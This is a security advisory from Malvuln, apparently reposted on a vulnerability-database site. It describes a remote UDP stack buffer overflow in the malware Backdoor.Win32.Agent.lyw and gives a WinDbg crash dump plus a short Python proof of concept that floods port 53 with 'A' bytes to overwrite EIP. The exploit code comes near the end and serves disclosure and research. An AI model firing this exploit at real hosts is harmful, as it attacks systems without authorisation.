Tuesday, May 18, 2021

Backdoor.Win32.Agent.lyw Buffer Overflow

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/4de6f4104a5fc2185164747a6fcf20ce.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.lyw
Vulnerability: Remote Stack Buffer Overflow (UDP)
Description: The malware drops an executable named "aspimgr.exe" under SysWOW64 dir, which listens on TCP port 80 and UDP port 53. Third-party attackers who can reach the server can send a specially crafted UDP packet to port 53, triggering a classic buffer overflow overwriting ECX and EIP registers.
Type: PE32
MD5: 4de6f4104a5fc2185164747a6fcf20ce
Vuln ID: MVID-2021-0210
Dropped files:
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 05/14/2021

Memory Dump:
The stored exception information can be accessed via .ecxr.
(b58.1c6c): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=77b09d70 esi=00000000 edi=00000000
eip=41414141 esp=03151450 ebp=03151470 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???

0:006> .ecxr
eax=00000000 ebx=00000000 ecx=41414141 edx=77b09d70 esi=00000000 edi=00000000
eip=41414141 esp=03151450 ebp=03151470 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???

0:006> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************

*** WARNING: Unable to verify checksum for aspimgr.exe
*** ERROR: Module load completed but symbols could not be loaded for aspimgr.exe
Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP:
aspimgr+6876
00406876 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]

EXCEPTION_RECORD: 0324e124 -- (.exr 0x324e124)
ExceptionAddress: 00406876 (aspimgr+0x00006876)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 03250000
Attempt to read from address 03250000

PROCESS_NAME: aspimgr.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1: 00000008

EXCEPTION_PARAMETER2: 41414141

WRITE_ADDRESS: 41414141

FOLLOWUP_IP:
aspimgr+6876
00406876 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]

FAILED_INSTRUCTION_ADDRESS:
+6876
41414141 ?? ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

IP_ON_HEAP: 41414141
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 41414141

CONTEXT: 0324e174 -- (.cxr 0x324e174)
eax=0000018d ebx=00000041 ecx=00000001 edx=0000018c esi=0324fffd edi=0324e7a8
eip=00406876 esp=0324e5d4 ebp=0324ede4 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
aspimgr+0x6876:
00406876 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
Resetting default scope

FAULTING_THREAD: ffffffff

BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

LAST_CONTROL_TRANSFER: from 00406adc to 00406876

STACK_TEXT:
0324e5d4 00406876 aspimgr+0x6876
0324edec 00406adc aspimgr+0x6adc
0324ff44 41414141 unknown!printable+0x0
0324ff48 41414141 unknown!printable+0x0
0324ff4c 41414141 unknown!printable+0x0
0324ff50 41414141 unknown!printable+0x0
0324ff54 41414141 unknown!printable+0x0
0324ff58 41414141 unknown!printable+0x0
0324ff5c 41414141 unknown!printable+0x0
0324ff60 41414141 unknown!printable+0x0
0324ff64 41414141 unknown!printable+0x0
0324ff68 41414141 unknown!printable+0x0
0324ff6c 41414141 unknown!printable+0x0
0324ff70 41414141 unknown!printable+0x0
0324ff74 41414141 unknown!printable+0x0
0324ff78 41414141 unknown!printable+0x0
0324ff7c 41414141 unknown!printable+0x0
0324ff80 41414141 unknown!printable+0x0
0324ff84 41414141 unknown!printable+0x0
0324ff88 41414141 unknown!printable+0x0
0324ff8c 41414141 unknown!printable+0x0
0324ff90 41414141 unknown!printable+0x0
0324ff94 41414141 unknown!printable+0x0
0324ff98 41414141 unknown!printable+0x0
0324ff9c 41414141 unknown!printable+0x0
0324ffa0 41414141 unknown!printable+0x0
0324ffa4 41414141 unknown!printable+0x0
0324ffa8 41414141 unknown!printable+0x0
0324ffac 41414141 unknown!printable+0x0
0324ffb0 41414141 unknown!printable+0x0
0324ffb4 41414141 unknown!printable+0x0
0324ffb8 41414141 unknown!printable+0x0
0324ffbc 41414141 unknown!printable+0x0
0324ffc0 41414141 unknown!printable+0x0
0324ffc4 41414141 unknown!printable+0x0
0324ffc8 41414141 unknown!printable+0x0
0324ffcc 41414141 unknown!printable+0x0
0324ffd0 41414141 unknown!printable+0x0
0324ffd4 41414141 unknown!printable+0x0
0324ffd8 41414141 unknown!printable+0x0
0324ffdc 41414141 unknown!printable+0x0
0324ffe0 41414141 unknown!printable+0x0
0324ffe4 41414141 unknown!printable+0x0
0324ffe8 41414141 unknown!printable+0x0
0324ffec 41414141 unknown!printable+0x0
0324fff0 41414141 unknown!printable+0x0
0324fff4 41414141 unknown!printable+0x0
0324fff8 41414141 unknown!printable+0x0
0324fffc 41414141 unknown!printable+0x0
03250000 41414141 unknown!printable+0x0


STACK_COMMAND: .cxr 000000000324E174 ; kb ; dds 324e5d4 ; kb

SYMBOL_STACK_INDEX: 0

SYMBOL_NAME: aspimgr+6876

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: aspimgr

IMAGE_NAME: aspimgr.exe

DEBUG_FLR_IMAGE_TIMESTAMP: 48898bf6

FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_aspimgr.exe!Unknown

BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_aspimgr+6876


Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=53

def doit():

s=socket(AF_INET, SOCK_DGRAM)
s.connect((MALWARE_HOST, PORT))

PACKET = "A"*6669

s.send(PACKET)
s.close()

print("Backdoor.Win32.Agent.lyw / Remote Stack Buffer Overflow (UDP)")
print("MD5: 4de6f4104a5fc2185164747a6fcf20ce")
print("Malvuln")

if __name__=="__main__":
doit()


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
 

Copyright © 2020 Cyber Details - Vulnerability Database™

Thanks for everything Templateism - You should have written the code a little more complicated